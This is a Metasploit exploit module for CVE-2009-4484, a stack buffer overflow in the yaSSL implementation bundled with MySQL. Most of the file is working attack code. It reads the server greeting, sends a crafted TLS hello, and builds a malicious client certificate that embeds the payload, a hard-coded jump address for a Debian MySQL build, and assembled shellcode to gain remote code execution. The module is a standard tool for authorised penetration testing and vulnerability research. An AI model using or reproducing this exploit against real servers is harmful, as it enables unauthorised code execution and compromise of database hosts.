MySQL - yaSSL CertDecoder::GetName Buffer Overflow (Metasploit)

##
# $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
				implementation bundled with MySQL. By sending a specially crafted
				client certificate, an attacker can execute arbitrary code.

				This vulnerability is present within the CertDecoder::GetName function inside
				"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
				within a parent function's stack frame.

				NOTE: This vulnerability requires a non-default configuration. First, the attacker
				must be able to pass the host-based authentication. Next, the server must be
				configured to listen on an accessible network interface.  Lastly, the server
				must have been manually configured to use SSL.

				The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
				on Windows XP SP3, these protections successfully prevented exploitation.

				Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
				present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
				package were not exploitable due to the use of the compiler's FORTIFY feature.

				Although suse11 was mentioned in the original blog post, the binary package they
				provide does not contain yaSSL or support SSL.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2009-4484' ],
					[ 'BID', '37640' ],
					[ 'BID', '37943' ],
					[ 'BID', '37974' ],
					[ 'OSVDB', '61956' ],
					[ 'URL', 'http://secunia.com/advisories/38344/' ],
					[ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ]
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1046,
					'BadChars' => "",
					'StackAdjustment' => -3500,
					'DisableNops' => true
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',  { 'JmpEsp' => 0x0807dc34 } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 25 2010'))

		register_options([ Opt::RPORT(3306) ], self)
	end

	def exploit

		connect

		# read the mysql server hello :)
		version = nil
		if (buf = sock.get_once(-1, 5))
			#print_status("\n" + Rex::Text.to_hex_dump(buf))
			if (buf =~ /is not allowed to connect/)
				raise RuntimeError, 'The server refused our connection!'
			end

			len1,cmd = buf[0,5].unpack('VC')
			rest = buf[5,len1]
			idx = rest.index("\x00")
			if (idx)
				version = rest[0,idx]
				print_status("Server reports version: #{version}")
			end
		end

		# handle automatic target selection
		mytarget = nil
		if (target.name =~ /Automatic/)
			print_status("Attempting to locate a corresponding target")
			version = "(" + version + ")"
			targets.each { |tgt|
				if (tgt.name.include?(version))
					mytarget = tgt
				end
			}

			if (not mytarget)
				raise RuntimeError, 'Unable to detect target automatically'
			else
				print_status("Using automatically detected target: #{mytarget.name}")
			end
		else
			mytarget = target
			print_status("Trying target #{mytarget.name}...")
		end

		# create/send the hello packet
		hello = [0x01000020].pack('V')
		hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
		hello << "\x00" * 20
		hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
		hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
		hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
		hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
		hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
		hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
		hello << "\x00\x03\x02\x01\x00"
		sock.put(hello)


		# build a cn that will trigger the vulnerability
		cn = rand_text(payload_space - payload.encoded.length)
		cn << payload.encoded
		cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
		# NOTE: x in above (also gets passed to free())
		pad = 1074 - payload_space
		cn << rand_text(pad)
		cn << [mytarget['JmpEsp']].pack('V')
		distance = 4 + pad + 8 + payload.encoded.length
		cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

		cert = "\x2a\x86\x00\x84"
		cert << [cn.length].pack('N')
		cert << cn
		cert = "\x30"+
			"\x82\x01\x01"+
			"\x31"+
			"\x82\x01\x01"+
			"\x30"+
			"\x82\x01\x01"+
			"\x06"+
			"\x82\x00\x02" +
			cert

		cert = "\xa0\x03" +
			"\x02\x01\x02" +
			"\x02\x01\x00" +
			"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
			cert

		# wrap in 2 sequences
		cert = SNMP::BER.encode_tlv(0x30, cert)
		cert = SNMP::BER.encode_tlv(0x30, cert)

		cert1 = big_endian_24bit(cert.length) + cert
		certs = big_endian_24bit(cert1.length) + cert1

		handshake = "\x0b" +  big_endian_24bit(certs.length) + certs
		msg = "\x16\x03\x01"
		msg << [handshake.length].pack('n')
		msg << handshake

		sock.put(msg)

		handler
		disconnect
	end


	def big_endian_24bit(len)
		uno = (len >> 16) & 0xff
		dos = (len >> 8) & 0xff
		tre = len & 0xff
		[uno,dos,tre].pack('C*')
	end

end